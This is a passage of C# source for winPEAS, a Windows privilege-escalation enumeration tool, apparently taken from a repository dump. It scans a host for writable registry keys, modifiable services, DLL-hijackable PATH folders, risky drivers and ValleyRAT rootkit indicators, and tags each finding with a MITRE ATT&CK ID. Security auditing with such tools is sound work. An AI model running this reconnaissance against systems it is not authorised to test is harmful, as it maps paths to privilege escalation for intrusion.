}\n        }\n\n        void PrintVulnLeakedHandlers()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Vulnerable Leaked Handlers\", \"T1134.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#leaked-handlers\");\n\n                List<Dictionary<string, string>> vulnHandlers = new List<Dictionary<string, string>>(); \n\n                Beaprint.InfoPrint(\"Getting Leaked Handlers, it might take some time...\");\n                using (var progress = new ProgressBar())\n                {\n                    vulnHandlers = ProcessesInfo.GetVulnHandlers(progress);\n                }\n                Dictionary<string, string> colors = new Dictionary<string, string>();\n                colors[Checks.CurrentUserName] = Beaprint.ansi_color_bad;\n                colors[HandlesHelper.elevatedProcess] = Beaprint.ansi_color_bad;\n\n                foreach (Dictionary<string, string> handler in vulnHandlers)\n                {\n                    colors[handler[\"Reason\"]] = Beaprint.ansi_color_bad;\n                }\n                Beaprint.DictPrint(vulnHandlers, colors, true);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/RegistryInfo.cs",
    "content": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Checks\n{\n    internal class RegistryInfo : ISystemCheck\n    {\n        private const string TypingInsightsRelativePath = @\"Software\\Microsoft\\Input\\TypingInsights\";\n\n        private static readonly string[] KnownWritableSystemKeyCandidates = new[]\n        {\n            @\"SOFTWARE\\Microsoft\\CoreShell\",\n            @\"SOFTWARE\\Microsoft\\DRM\",\n            @\"SOFTWARE\\Microsoft\\Input\\Locales\",\n            @\"SOFTWARE\\Microsoft\\Input\\Settings\",\n            @\"SOFTWARE\\Microsoft\\Shell\\Oobe\",\n            @\"SOFTWARE\\Microsoft\\Shell\\Session\",\n            @\"SOFTWARE\\Microsoft\\Tracing\",\n            @\"SOFTWARE\\Microsoft\\Windows\\UpdateApi\",\n            @\"SOFTWARE\\Microsoft\\WindowsUpdate\\UX\",\n            @\"SOFTWARE\\WOW6432Node\\Microsoft\\DRM\",\n            @\"SOFTWARE\\WOW6432Node\\Microsoft\\Tracing\",\n            @\"SYSTEM\\Software\\Microsoft\\TIP\",\n            @\"SYSTEM\\ControlSet001\\Control\\Cryptography\\WebSignIn\\Navigation\",\n            @\"SYSTEM\\ControlSet001\\Control\\MUI\\StringCacheSettings\",\n            @\"SYSTEM\\ControlSet001\\Control\\USB\\AutomaticSurpriseRemoval\",\n            @\"SYSTEM\\ControlSet001\\Services\\BTAGService\\Parameters\\Settings\",\n        };\n\n        private static readonly string[] ScanBasePaths = new[]\n        {\n            @\"SOFTWARE\\Microsoft\",\n            @\"SOFTWARE\\WOW6432Node\\Microsoft\",\n            @\"SYSTEM\\CurrentControlSet\\Services\",\n            @\"SYSTEM\\CurrentControlSet\\Control\",\n            @\"SYSTEM\\ControlSet001\\Control\",\n        };\n\n        public string[] MitreAttackIds { get; } = new[] { \"T1012\", \"T1574.011\", \"T1056.001\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Registry permissions for hive exploitation\", \"T1012,T1574.011,T1056.001\");\n\n            new List<Action>\n            {\n                PrintTypingInsightsPermissions,\n                PrintKnownSystemWritableKeys,\n                PrintHeuristicWritableKeys,\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        private void PrintTypingInsightsPermissions()\n        {\n            Beaprint.MainPrint(\"Cross-user TypingInsights key (HKCU/HKU)\", \"T1056.001\");\n\n            var matches = new List<RegistryWritableKeyInfo>();\n            var seen = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n\n            if (RegistryAclScanner.TryGetWritableKey(\"HKCU\", TypingInsightsRelativePath, out var currentUserKey))\n            {\n                if (seen.Add(currentUserKey.FullPath))\n                {\n                    matches.Add(currentUserKey);\n                }\n            }\n\n            foreach (var sid in RegistryHelper.GetUserSIDs())\n            {\n                if (string.IsNullOrEmpty(sid) || sid.Equals(\".DEFAULT\", StringComparison.OrdinalIgnoreCase) || sid.EndsWith(\"_Classes\", StringComparison.OrdinalIgnoreCase))\n                {\n                    continue;\n                }\n\n                string relativePath = $\"{sid}\\\\{TypingInsightsRelativePath}\";\n                if (RegistryAclScanner.TryGetWritableKey(\"HKU\", relativePath, out var info) && seen.Add(info.FullPath))\n                {\n                    matches.Add(info);\n                }\n            }\n\n            if (matches.Count == 0)\n            {\n                Beaprint.GrayPrint(\"  [-] TypingInsights key does not grant write access to low-privileged groups.\");\n                return;\n            }\n\n            PrintEntries(matches);\n            Beaprint.LinkPrint(\"https://projectzero.google/2025/05/the-windows-registry-adventure-8-exploitation.html\", \"Writable TypingInsights enables cross-user hive tampering and DoS.\");\n        }\n\n        private void PrintKnownSystemWritableKeys()\n        {\n            Beaprint.MainPrint(\"Known HKLM descendants writable by standard users\", \"T1574.011\");\n\n            var matches = new List<RegistryWritableKeyInfo>();\n            foreach (var path in KnownWritableSystemKeyCandidates)\n            {\n                if (RegistryAclScanner.TryGetWritableKey(\"HKLM\", path, out var info))\n                {\n                    matches.Add(info);\n                }\n            }\n\n            if (matches.Count == 0)\n            {\n                Beaprint.GrayPrint(\"  [-] None of the tracked HKLM keys are writable by low-privileged groups.\");\n                return;\n            }\n\n            PrintEntries(matches);\n        }\n\n        private void PrintHeuristicWritableKeys()\n        {\n            Beaprint.MainPrint(\"Sample of additional writable HKLM keys (depth-limited scan)\", \"T1574.011\");\n\n            var matches = RegistryAclScanner.ScanWritableKeys(\"HKLM\", ScanBasePaths, maxDepth: 3, maxResults: 25);\n            if (matches.Count == 0)\n            {\n                Beaprint.GrayPrint(\"  [-] No additional writable HKLM keys were found within the sampled paths.\");\n                return;\n            }\n\n            PrintEntries(matches);\n            Beaprint.GrayPrint(\"  [*] Showing up to 25 entries from the sampled paths to avoid noisy output.\");\n        }\n\n        private static void PrintEntries(IEnumerable<RegistryWritableKeyInfo> entries)\n        {\n            foreach (var entry in entries)\n            {\n                var principals = string.Join(\", \", entry.Principals);\n                var rights = entry.Rights.Count > 0 ? string.Join(\", \", entry.Rights.Distinct(StringComparer.OrdinalIgnoreCase)) : \"Write access\";\n                var displayPath = string.IsNullOrEmpty(entry.FullPath) ? $\"{entry.Hive}\\\\{entry.RelativePath}\" : entry.FullPath;\n                Beaprint.BadPrint($\"  [!] {displayPath} -> {principals} ({rights})\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/ServicesInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Info.ServicesInfo;\n\nnamespace winPEAS.Checks\n{\n    internal class ServicesInfo : ISystemCheck\n    {\n        Dictionary<string, string> modifiableServices = new Dictionary<string, string>();\n\n        public string[] MitreAttackIds { get; } = new[] { \"T1007\", \"T1543.003\", \"T1574.001\", \"T1574.011\", \"T1014\", \"T1068\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Services Information\", \"T1007,T1543.003,T1574.001,T1574.011,T1014,T1068\");\n\n            /// Start finding Modifiable services so any function could use them\n\n            try\n            {\n                CheckRunner.Run(() =>\n                {\n                    modifiableServices = ServicesInfoHelper.GetModifiableServices(Checks.CurrentUserSiDs);\n                }, isDebug);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n\n            new List<Action>\n            {\n                PrintInterestingServices,\n                PrintModifiableServices,\n                PrintWritableRegServices,\n                PrintPathDllHijacking,\n                PrintOemPrivilegedUtilities,\n                PrintLegacySignedKernelDrivers,\n                PrintKernelQuickIndicators,\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        void PrintInterestingServices()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Interesting Services -non Microsoft-\", \"T1007\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services\", \"Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths\");\n\n                List<Dictionary<string, string>> services_info = ServicesInfoHelper.GetNonstandardServices();\n\n                if (services_info.Count < 1)\n                {\n                    services_info = ServicesInfoHelper.GetNonstandardServicesFromReg();\n                }\n\n                foreach (Dictionary<string, string> serviceInfo in services_info)\n                {\n                    List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo[\"FilteredPath\"], Checks.CurrentUserSiDs);\n                    List<string> dirRights = new List<string>();\n\n                    if (serviceInfo[\"FilteredPath\"] != null && serviceInfo[\"FilteredPath\"] != \"\")\n                    {\n                        dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo[\"FilteredPath\"]), Checks.CurrentUserSiDs);\n                    }\n\n                    bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo[\"PathName\"]);\n\n                    string formString = \"    {0}(\";\n                    if (serviceInfo[\"CompanyName\"] != null && serviceInfo[\"CompanyName\"].Length > 1)\n                        formString += \"{1} - \";\n                    if (serviceInfo[\"DisplayName\"].Length > 1)\n                        formString += \"{2}\";\n                    formString += \")\";\n                    if (serviceInfo[\"PathName\"].Length > 1)\n                        formString += \"[{3}]\";\n                    if (serviceInfo[\"StartMode\"].Length > 1)\n                        formString += \" - {4}\";\n                    if (serviceInfo[\"State\"].Length > 1)\n                        formString += \" - {5}\";\n                    if (serviceInfo[\"isDotNet\"].Length > 1)\n                        formString += \" - {6}\";\n                    if (noQuotesAndSpace)\n                        formString += \" - {7}\";\n                    if (modifiableServices.ContainsKey(serviceInfo[\"Name\"]))\n                    {\n                        if (modifiableServices[serviceInfo[\"Name\"]] == \"Start\")\n                            formString += \"\\n    You can START this service\";\n                        else\n                            formString += \"\\n    YOU CAN MODIFY THIS SERVICE: \" + modifiableServices[serviceInfo[\"Name\"]];\n                    }\n                    if (fileRights.Count > 0)\n                        formString += \"\\n    File Permissions: {8}\";\n                    if (dirRights.Count > 0)\n                        formString += \"\\n    Possible DLL Hijacking in binary folder: {9} ({10})\";\n                    if (serviceInfo[\"Description\"].Length > 1)\n                        formString += \"\\n    \" + Beaprint.ansi_color_gray + \"{11}\";\n\n                    {\n                        Dictionary<string, string> colorsS = new Dictionary<string, string>()\n                            {\n                                { \"File Permissions:.*\", Beaprint.ansi_color_bad },\n                                { \"Possible DLL Hijacking.*\", Beaprint.ansi_color_bad },\n                                { \"No quotes and Space detected\", Beaprint.ansi_color_bad },\n                                { \"YOU CAN MODIFY THIS SERVICE:.*\", Beaprint.ansi_color_bad },\n                                { \" START \", Beaprint.ansi_color_bad },\n                                { serviceInfo[\"PathName\"].Replace(\"\\\\\", \"\\\\\\\\\").Replace(\"(\", \"\\\\(\").Replace(\")\", \"\\\\)\").Replace(\"]\", \"\\\\]\").Replace(\"[\", \"\\\\[\").Replace(\"?\", \"\\\\?\").Replace(\"+\",\"\\\\+\"), (fileRights.Count > 0 || dirRights.Count > 0 || noQuotesAndSpace) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good },\n                            };\n\n                        Beaprint.AnsiPrint(string.Format(formString, serviceInfo[\"Name\"], serviceInfo[\"CompanyName\"], serviceInfo[\"DisplayName\"], serviceInfo[\"PathName\"], serviceInfo[\"StartMode\"], serviceInfo[\"State\"], serviceInfo[\"isDotNet\"], \"No quotes and Space detected\", string.Join(\", \", fileRights), dirRights.Count > 0 ? Path.GetDirectoryName(serviceInfo[\"FilteredPath\"]) : \"\", string.Join(\", \", dirRights), serviceInfo[\"Description\"]), colorsS);\n                    }\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintModifiableServices()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Modifiable Services\", \"T1543.003\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services\", \"Check if you can modify any service\");\n                if (modifiableServices.Count > 0)\n                {\n                    Beaprint.BadPrint(\"    LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:\");\n                    Dictionary<string, string> colorsMS = new Dictionary<string, string>()\n                        {\n                            // modify\n                            { \"AllAccess\", Beaprint.ansi_color_bad },\n                            { \"ChangeConfig\", Beaprint.ansi_color_bad },\n                            { \"WriteDac\", Beaprint.ansi_color_bad },\n                            { \"WriteOwner\", Beaprint.ansi_color_bad },\n                            { \"AccessSystemSecurity\", Beaprint.ansi_color_bad },\n                            { \"GenericAll\", Beaprint.ansi_color_bad },\n                            { \"GenericWrite (ChangeConfig)\", Beaprint.ansi_color_bad },\n\n                            // start/stop\n                            { \"GenericExecute (Start/Stop)\", Beaprint.ansi_color_yellow },\n                            { \"Start\", Beaprint.ansi_color_yellow },\n                            { \"Stop\", Beaprint.ansi_color_yellow },\n                        };\n                    Beaprint.DictPrint(modifiableServices, colorsMS, false, true);\n                }\n                else\n                    Beaprint.GoodPrint(\"    You cannot modify any service\");\n\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintWritableRegServices()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking if you can modify any service registry\", \"T1574.011\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services-registry-modify-permissions\", \"Check if you can modify the registry of a service\");\n                List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(Checks.CurrentUserSiDs);\n\n                Dictionary<string, string> colorsWR = new Dictionary<string, string>()\n                            {\n                                { @\"\\(.*\\)\", Beaprint.ansi_color_bad },\n                            };\n\n                if (regPerms.Count <= 0)\n                    Beaprint.GoodPrint(\"    [-] Looks like you cannot change the registry of any service...\");\n                else\n                {\n                    foreach (Dictionary<string, string> writeServReg in regPerms)\n                        Beaprint.AnsiPrint(string.Format(\"    {0} ({1})\", writeServReg[\"Path\"], writeServReg[\"Permissions\"]), colorsWR);\n\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintPathDllHijacking()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Checking write permissions in PATH folders (DLL Hijacking)\", \"T1574.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking\", \"Check for DLL Hijacking in PATH folders\");\n                Dictionary<string, string> path_dllhijacking = ServicesInfoHelper.GetPathDLLHijacking();\n                foreach (KeyValuePair<string, string> entry in path_dllhijacking)\n                {\n                    if (string.IsNullOrEmpty(entry.Value))\n                    {\n                        Beaprint.GoodPrint(\"    \" + entry.Key);\n                    }\n                    else\n                    {\n                        Beaprint.BadPrint(\"    (DLL Hijacking) \" + entry.Key + \": \" + entry.Value);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintOemPrivilegedUtilities()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"OEM privileged utilities & risky components\", \"T1068\");\n                var findings = OemSoftwareHelper.GetPotentiallyVulnerableComponents(Checks.CurrentUserSiDs);\n\n                if (findings.Count == 0)\n                {\n                    Beaprint.GoodPrint(\"    None of the supported OEM utilities were detected.\");\n                    return;\n                }\n\n                foreach (var finding in findings)\n                {\n                    bool hasCves = finding.Cves != null && finding.Cves.Length > 0;\n                    string cveSuffix = hasCves ? $\" ({string.Join(\", \", finding.Cves)})\" : string.Empty;\n                    Beaprint.BadPrint($\"  {finding.Name}{cveSuffix}\");\n\n                    if (!string.IsNullOrWhiteSpace(finding.Description))\n                    {\n                        Beaprint.GrayPrint($\"      {finding.Description}\");\n                    }\n\n                    foreach (var evidence in finding.Evidence)\n                    {\n                        string message = $\"      - {evidence.Message}\";\n                        if (evidence.Highlight)\n                        {\n                            Beaprint.BadPrint(message);\n                        }\n                        else\n                        {\n                            Beaprint.GrayPrint(message);\n                        }\n                    }\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintLegacySignedKernelDrivers()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Kernel drivers with weak/legacy signatures\", \"T1014\");\n                Beaprint.LinkPrint(\"https://research.checkpoint.com/2025/cracking-valleyrat-from-builder-secrets-to-kernel-rootkits/\",\n                    \"Legacy cross-signed drivers (pre-July-2015) can still grant kernel execution on modern Windows\");\n\n                List<ServicesInfoHelper.KernelDriverInfo> drivers = ServicesInfoHelper.GetKernelDriverInfos();\n                if (drivers.Count == 0)\n                {\n                    Beaprint.InfoPrint(\"  Unable to enumerate kernel services\");\n                    return;\n                }\n\n                var suspiciousDrivers = drivers.Where(d => d.Signature != null && (!d.Signature.IsSigned || d.Signature.IsLegacyExpired))\n                                               .OrderBy(d => d.Name)\n                                               .ToList();\n\n                if (suspiciousDrivers.Count == 0)\n                {\n                    Beaprint.InfoPrint(\"  No unsigned or legacy-signed kernel drivers detected\");\n                    return;\n                }\n\n                foreach (var driver in suspiciousDrivers)\n                {\n                    var signature = driver.Signature ?? new ServicesInfoHelper.KernelDriverSignatureInfo();\n                    List<string> reasons = new List<string>();\n\n                    if (!signature.IsSigned)\n                    {\n                        reasons.Add(\"unsigned or signature missing\");\n                    }\n                    else if (signature.IsLegacyExpired)\n                    {\n                        reasons.Add(\"signed with certificate that expired before 29-Jul-2015 (legacy exception)\");\n                    }\n\n                    if (!string.IsNullOrEmpty(driver.StartMode) &&\n                        (driver.StartMode.Equals(\"System\", StringComparison.OrdinalIgnoreCase) ||\n                         driver.StartMode.Equals(\"Boot\", StringComparison.OrdinalIgnoreCase)))\n                    {\n                        reasons.Add($\"loads at early boot (Start={driver.StartMode})\");\n                    }\n\n                    if (string.Equals(driver.Name, \"kernelquick\", StringComparison.OrdinalIgnoreCase))\n                    {\n                        reasons.Add(\"service name matches ValleyRAT rootkit loader\");\n                    }\n\n                    string reason = reasons.Count > 0 ? string.Join(\"; \", reasons) : \"Potentially risky driver\";\n                    string signatureLine = signature.IsSigned\n                        ? $\"Subject: {signature.Subject}; Issuer: {signature.Issuer}; Valid: {FormatDate(signature.NotBefore)} - {FormatDate(signature.NotAfter)}\"\n                        : $\"Signature issue: {signature.Error ?? \"Unsigned\"}\";\n\n                    Beaprint.BadPrint($\"  {driver.Name} ({driver.DisplayName})\");\n                    Beaprint.NoColorPrint($\"      Path       : {driver.PathName}\");\n                    Beaprint.NoColorPrint($\"      Start/State: {driver.StartMode}/{driver.State}\");\n                    Beaprint.NoColorPrint($\"      Reason     : {reason}\");\n                    Beaprint.NoColorPrint($\"      Signature  : {signatureLine}\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintKernelQuickIndicators()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"KernelQuick / ValleyRAT rootkit indicators\", \"T1014\");\n\n                bool found = false;\n\n                Dictionary<string, object> serviceValues = RegistryHelper.GetRegValues(\"HKLM\", @\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\kernelquick\");\n                if (serviceValues != null)\n                {\n                    found = true;\n                    string imagePath = serviceValues.ContainsKey(\"ImagePath\") ? serviceValues[\"ImagePath\"].ToString() : \"Unknown\";\n                    string start = serviceValues.ContainsKey(\"Start\") ? serviceValues[\"Start\"].ToString() : \"Unknown\";\n                    Beaprint.BadPrint(\"  Service HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\kernelquick present\");\n                    Beaprint.NoColorPrint($\"      ImagePath : {imagePath}\");\n                    Beaprint.NoColorPrint($\"      Start     : {start}\");\n                }\n\n                foreach (var path in new[] { @\"SOFTWARE\\\\KernelQuick\", @\"SOFTWARE\\\\WOW6432Node\\\\KernelQuick\", @\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\kernelquick\" })\n                {\n                    Dictionary<string, object> values = RegistryHelper.GetRegValues(\"HKLM\", path);\n                    if (values == null)\n                        continue;\n\n                    var kernelQuickValues = values.Where(k => k.Key.StartsWith(\"KernelQuick_\", StringComparison.OrdinalIgnoreCase)).ToList();\n                    if (kernelQuickValues.Count == 0)\n                        continue;\n\n                    found = true;\n                    Beaprint.BadPrint($\"  Registry values under HKLM\\\\{path}\");\n                    foreach (var kv in kernelQuickValues)\n                    {\n                        string displayValue = kv.Value is byte[] bytes ? $\"(binary) {bytes.Length} bytes\" : string.Format(\"{0}\", kv.Value);\n                        Beaprint.NoColorPrint($\"      {kv.Key} = {displayValue}\");\n                    }\n                }\n\n                Dictionary<string, object> ipdatesValues = RegistryHelper.GetRegValues(\"HKLM\", @\"SOFTWARE\\\\IpDates\");\n                if (ipdatesValues != null)\n                {\n                    found = true;\n                    Beaprint.BadPrint(\"  Possible kernel shellcode staging key HKLM\\\\SOFTWARE\\\\IpDates\");\n                    foreach (var kv in ipdatesValues)\n                    {\n                        string displayValue = kv.Value is byte[] bytes ? $\"(binary) {bytes.Length} bytes\" : string.Format(\"{0}\", kv.Value);\n                        Beaprint.NoColorPrint($\"      {kv.Key} = {displayValue}\");\n                    }\n                }\n\n                if (!found)\n                {\n                    Beaprint.InfoPrint(\"  No KernelQuick-specific registry indicators were found\");\n                }\n                else\n                {\n                    Beaprint.LinkPrint(\"https://research.checkpoint.com/2025/cracking-valleyrat-from-builder-secrets-to-kernel-rootkits/\",\n                        \"KernelQuick_* values and HKLM\\\\SOFTWARE\\\\IpDates are used by the ValleyRAT rootkit to hide files and stage APC payloads\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private string FormatDate(DateTime? dateTime)\n        {\n            return dateTime.HasValue ? dateTime.Value.ToString(\"yyyy-MM-dd HH:mm\") : \"n/a\";\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/SoapClientInfo.cs",
    "content": "using System;\nusing System.Collections.Generic;\nusing winPEAS.Helpers;\nusing winPEAS.Info.ApplicationInfo;\n\nnamespace winPEAS.Checks\n{\n    internal class SoapClientInfo : ISystemCheck\n    {\n        public string[] MitreAttackIds { get; } = new[] { \"T1559\", \"T1071.001\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\".NET SOAP Client Proxies (SOAPwn)\", \"T1559,T1071.001\");\n\n            CheckRunner.Run(PrintSoapClientFindings, isDebug);\n        }\n\n        private static void PrintSoapClientFindings()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Potential SOAPwn / HttpWebClientProtocol abuse surfaces\", \"T1559,T1071.001\");\n                Beaprint.LinkPrint(\n                    \"https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/\",\n                    \"Look for .NET services that let attackers control SoapHttpClientProtocol URLs or WSDL imports to coerce NTLM or drop files.\");\n\n                List<SoapClientProxyFinding> findings = SoapClientProxyAnalyzer.CollectFindings();\n                if (findings.Count == 0)\n                {\n                    Beaprint.NotFoundPrint();\n                    return;\n                }\n\n                foreach (SoapClientProxyFinding finding in findings)\n                {\n                    string severity = finding.BinaryIndicators.Contains(\"ServiceDescriptionImporter\")\n                        ? \"Dynamic WSDL import\"\n                        : \"SOAP proxy usage\";\n\n                    Beaprint.BadPrint($\"    [{severity}] {finding.BinaryPath}\");\n\n                    foreach (SoapClientProxyInstance instance in finding.Instances)\n                    {\n                        string instanceInfo = $\"        -> {instance.SourceType}: {instance.Name}\";\n                        if (!string.IsNullOrEmpty(instance.Account))\n                        {\n                            instanceInfo += $\" ({instance.Account})\";\n                        }\n                        if (!string.IsNullOrEmpty(instance.Extra))\n                        {\n                            instanceInfo += $\" | {instance.Extra}\";\n                        }\n\n                        Beaprint.GrayPrint(instanceInfo);\n                    }\n\n                    if (finding.BinaryIndicators.Count > 0)\n                    {\n                        Beaprint.BadPrint(\"        Binary indicators: \" + string.Join(\", \", finding.BinaryIndicators));\n                    }\n\n                    if (finding.ConfigIndicators.Count > 0)\n                    {\n                        string configLabel = string.IsNullOrEmpty(finding.ConfigPath)\n                            ? \"Config indicators\"\n                            : $\"Config indicators ({finding.ConfigPath})\";\n                        Beaprint.BadPrint(\"        \" + configLabel + \": \" + string.Join(\", \", finding.ConfigIndicators));\n                    }\n\n                    if (finding.BinaryScanFailed)\n                    {\n                        Beaprint.GrayPrint(\"        (Binary scan skipped due to access/size limits)\");\n                    }\n\n                    if (finding.ConfigScanFailed)\n                    {\n                        Beaprint.GrayPrint(\"        (Unable to read config file)\");\n                    }\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Management;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.AppLocker;\nusing winPEAS.Helpers.Extensions;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Info.SystemInfo;\nusing winPEAS.Info.SystemInfo.AuditPolicies;\nusing winPEAS.Info.SystemInfo.DotNet;\nusing winPEAS.Info.SystemInfo.GroupPolicy;\nusing winPEAS.Info.SystemInfo.NamedPipes;\nusing winPEAS.Info.SystemInfo.Ntlm;\nusing winPEAS.Info.SystemInfo.PowerShell;\nusing winPEAS.Info.SystemInfo.Printers;\nusing winPEAS.Info.SystemInfo.SysMon;\nusing winPEAS.Info.SystemInfo.WindowsDefender;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Checks\n{\n    class SystemInfo : ISystemCheck\n    {\n        static string badUAC = \"No prompting|PromptForNonWindowsBinaries\";\n        static string goodUAC = \"PromptPermitDenyOnSecureDesktop\";\n        static string badLAPS = \"LAPS not installed\";\n        static Dictionary<string, string> _basicSystemInfo;\n\n\n        private static readonly Dictionary<string, string> _asrGuids = new Dictionary<string, string>\n        {\n            { \"01443614-cd74-433a-b99e-2ecdc07bfc25\" , \"Block executable files from running unless they meet a prevalence, age, or trusted list criteria\"},\n            { \"c1db55ab-c21a-4637-bb3f-a12568109d35\" , \"Use advanced protection against ransomware\"},\n            { \"9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2\" , \"Block credential stealing from the Windows local security authority subsystem (lsass.exe)\"},\n            { \"d1e49aac-8f56-4280-b9ba-993a6d77406c\" , \"Block process creations originating from PSExec and WMI commands\"},\n            { \"b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4\" , \"Block untrusted and unsigned processes that run from USB\"},\n            { \"26190899-1602-49e8-8b27-eb1d0a1ce869\" , \"Block Office communication applications from creating child processes\"},\n            { \"7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c\" , \"Block Adobe Reader from creating child processes\"},\n            { \"e6db77e5-3df2-4cf1-b95a-636979351e5b\" , \"Block persistence through WMI event subscription\"},\n            { \"d4f940ab-401b-4efc-aadc-ad5f3c50688a\" , \"Block all Office applications from creating child processes\"},\n            { \"5beb7efe-fd9a-4556-801d-275e5ffc04cc\" , \"Block execution of potentially obfuscated scripts\"},\n            { \"92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b\" , \"Block Win32 API calls from Office macro\t\"},\n            { \"3b576869-a4ec-4529-8536-b80a7769e899\" , \"Block Office applications from creating executable content\t\"},\n            { \"75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84\" , \"Block Office applications from injecting code into other processes\"},\n            { \"d3e037e1-3eb8-44c8-a917-57927947596d\" , \"Block JavaScript or VBScript from launching downloaded executable content\"},\n            { \"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550\" , \"Block executable content from email client and webmail\"},\n        };\n\n        public string[] MitreAttackIds { get; } = new[] { \"T1082\", \"T1068\", \"T1548.002\", \"T1003.001\", \"T1003.004\", \"T1003.005\", \"T1059.001\", \"T1552.001\", \"T1552.002\", \"T1562.001\", \"T1562.002\", \"T1518.001\", \"T1557.001\", \"T1558\", \"T1559\", \"T1134.001\", \"T1547.005\", \"T1484.001\", \"T1613\", \"T1654\", \"T1072\", \"T1187\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"System Information\", \"T1082,T1068,T1548.002,T1003.001,T1003.004,T1003.005,T1059.001,T1552.001,T1552.002,T1562.001,T1562.002,T1518.001,T1557.001,T1558,T1559,T1134.001,T1547.005,T1484.001,T1613,T1654,T1072,T1187\");\n\n            new List<Action>\n            {\n                PrintBasicSystemInfo,\n                PrintWindowsVersionVulnerabilities,\n                PrintMicrosoftUpdatesCOM,\n                PrintSystemLastShutdownTime,\n                PrintUserEV,\n                PrintSystemEV,\n                PrintAuditInfo,\n                PrintAuditPoliciesInfo,\n                PrintWEFInfo,\n                PrintLAPSInfo,\n                PrintWdigest,\n                PrintLSAProtection,\n                PrintCredentialGuard,\n                PrintCachedCreds,\n                PrintRegistryCreds,\n                PrintAVInfo,\n                PrintWindowsDefenderInfo,\n                PrintUACInfo,\n                PrintPSInfo,\n                PrintPowerShellSessionSettings,\n                PrintTranscriptPS,\n                PrintInetInfo,\n                PrintDrivesInfo,\n                PrintWSUS,\n                PrintKrbRelayUp,\n                PrintInsideContainer,\n                PrintAlwaysInstallElevated,\n                PrintObjectManagerRaceAmplification,\n                PrintLSAInfo,\n                PrintNtlmSettings,\n                